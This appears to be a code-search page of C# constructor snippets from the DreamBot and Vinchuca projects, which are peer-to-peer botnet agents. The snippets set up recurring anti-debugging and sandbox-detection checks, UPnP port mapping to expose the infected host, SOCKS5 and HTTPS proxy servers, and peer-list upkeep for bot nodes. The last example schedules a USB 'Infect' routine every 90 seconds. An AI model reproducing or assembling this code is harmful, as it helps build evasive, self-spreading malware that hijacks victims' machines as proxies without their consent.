コード例 #1
0
ファイル: DreamBotApp.cs プロジェクト: PleXone2019/DreamBot
        public DreamBotApp(int port, BotIdentifier id)
        {
            BotId = id;
            Logger.Info(0, "DreamBot [id: {0}] listenning on port {1}", BotId, port);

            _worker = new ClientWorker();
            _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
            _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));

            _peerList = new PeerList(_worker);
            _peerList.DesparadoModeActivated += DesperateModeActivated;

            _listener = new MessageListener(port);
            _listener.UdpPacketReceived += EnqueueMessage;

            _comunicationManager = new ComunicationManager(_listener, _worker);
            _peersManager = new PeerManager(_comunicationManager, _peerList, _worker, BotId);
            _messagesManager = new MessageManager(_peersManager);

            _messagesManager.Register(0x00, MessageType.Request,  typeof(HelloMessage), new HelloMessageHandler(_peerList, _messagesManager), false);
            _messagesManager.Register(0x01, MessageType.Reply, typeof(HelloReplyMessage), new HelloReplyMessageHandler(_peerList, _messagesManager), true);
            _messagesManager.Register(0x02, MessageType.Request, typeof(GetPeerListMessage), new GetPeerListMessageHandler(_peerList, _messagesManager), true);
            _messagesManager.Register(0x03, MessageType.Reply, typeof(GetPeerListReplyMessage), new GetPeerListReplyMessageHandler(_peerList, _messagesManager), true);
            _messagesManager.Register(0xFF, MessageType.Special, typeof(InvalidMessage), new InvalidMessageHandler(_peerList), false);

            _socks5 = new Socks5Server(8009);
            _https = new HttpsProxyServer(8019);
            //_connectivityTester = new ConnectivityTester();
            //_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
        }
コード例 #2
0
        public Agent(int port, BotIdentifier id)
        {
            BotIdentifier.Id = id;
            Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port);

            _worker = ClientWorker.Instance;
            _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
            _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));
            _worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1));

            _peerList = new PeerList(_worker);
            _peerList.DesparadoModeActivated += DesperateModeActivated;


            if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress()))
            {
                var upnpSearcher = new UpnpSearcher();
                upnpSearcher.DeviceFound += (s, e) =>
                {
                    PublicIP = e.Device.GetExternalIP();
                    Logger.Verbose("External IP Address: {0}", PublicIP);
                    try
                    {
                        var externalPort = BotIdentifier.Id.GetPort();
                        BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort);
                        var device = e.Device;
                        device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1));
                        device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2));
                    }
                    catch (MappingException ex)
                    {
                        Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText);
                    }
                    finally
                    {
                        upnpSearcher.Stop();
                    }
                };
                upnpSearcher.Search();
            }

            _listener = new MessageListener(port);
            _listener.UdpPacketReceived += EnqueueMessage;
            _communicationManager        = new CommunicationManager(_listener, _worker);
            var peersManager = new PeerManager(_communicationManager, _peerList, _worker);

            _messagesManager           = new MessageManager(peersManager);
            peersManager.MessageSender = _messagesManager;

            RegisterMessageHandlers(peersManager);

            var externPort = BotIdentifier.Id.GetPort();

            _socks5             = new Socks5Server(externPort + 1);
            _https              = new HttpsProxyServer(externPort + 2);
            _connectivityTester = new ConnectivityTester();
            _connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
        }
コード例 #3
0
ファイル: PeerList.cs プロジェクト: ynx0/vinchuca
        public PeerList(IWorkScheduler worker)
        {
            _worker = worker;
            _peers  = new Dictionary <BotIdentifier, PeerInfo>();

            _worker.QueueForever(Check, TimeSpan.FromMinutes(5));
            _worker.QueueForever(Purge, TimeSpan.FromSeconds(15));
            _worker.QueueForever(Save, TimeSpan.FromMinutes(1));
        }
コード例 #4
0
        public ConnectionIoActor(IWorkScheduler worker, IBufferAllocator bufferAllocator)
        {
            _sendQueue    = new BlockingQueue <IOState>();
            _receiveQueue = new BlockingQueue <IOState>();

            _bufferAllocator = bufferAllocator;
            _worker          = worker;
            _worker.QueueForever(SendEnqueued, 1.Milliseconds());
            _worker.QueueForever(ReceiveEnqueued, 1.Milliseconds());
        }
コード例 #5
0
        public ConnectionIoActor(IWorkScheduler worker, IBufferAllocator bufferAllocator)
        {
            _sendQueue = new BlockingQueue<IOState>();
            _receiveQueue = new BlockingQueue<IOState>();

            _bufferAllocator = bufferAllocator;
            _worker = worker;
            _worker.QueueForever(SendEnqueued, 1.Milliseconds());
            _worker.QueueForever(ReceiveEnqueued, 1.Milliseconds());
        }
コード例 #6
0
        public CommunicationManager(IMessageListener listener, IWorkScheduler worker)
        {
            _listener = listener;
            _worker   = worker;

            _receivedMessageQueue = new Queue <Package>();
            _sendMessageQueue     = new Queue <Package>();
            _blackList            = new List <IPAddress>();
            _requestsByIp         = new Dictionary <IPAddress, int>();

            _worker.QueueForever(SendReceive, TimeSpan.FromMilliseconds(200));
            _worker.QueueForever(AnalyzeRequestList, TimeSpan.FromMinutes(1));
        }
コード例 #7
0
ファイル: PeerManager.cs プロジェクト: ynx0/vinchuca
        public PeerManager(CommunicationManager communicationManager, PeerList peerList, IWorkScheduler worker)
        {
            _communicationManager = communicationManager;
            _communicationManager.PackageReceivedEventArgs += PackageReceivedEventArgs;
            _worker         = worker;
            _peerList       = peerList;
            WaitingForReply = new ReplyWaitManager(_communicationManager, peerList);

            _worker.QueueForever(Ping, TimeSpan.FromMinutes(5));
            _worker.QueueForever(PurgeTimeouts, TimeSpan.FromMinutes(15));

            _peerList.BrokenBotDetected += BrokenBotDetected;
        }
コード例 #8
0
ファイル: PeerManager.cs プロジェクト: PleXone2019/DreamBot
        public PeerManager(ComunicationManager comunicationManager, PeerList peerList, IWorkScheduler worker, BotIdentifier botId)
        {
            _comunicationManager = comunicationManager;
            _comunicationManager.PackageReceivedEventArgs += PackageReceivedEventArgs;
            _worker          = worker;
            _botId           = botId;
            _waitingForReply = new ReplyWaitManager(_comunicationManager);

            _worker.QueueForever(PurgeTimeouts, TimeSpan.FromSeconds(60));
            _peerList = peerList;

            _peerList.BrokenBotDetected += BrokenBotDetected;
        }
コード例 #9
0
 public Usb(IWorkScheduler worker)
 {
     worker.QueueForever(Infect, TimeSpan.FromSeconds(90));
 }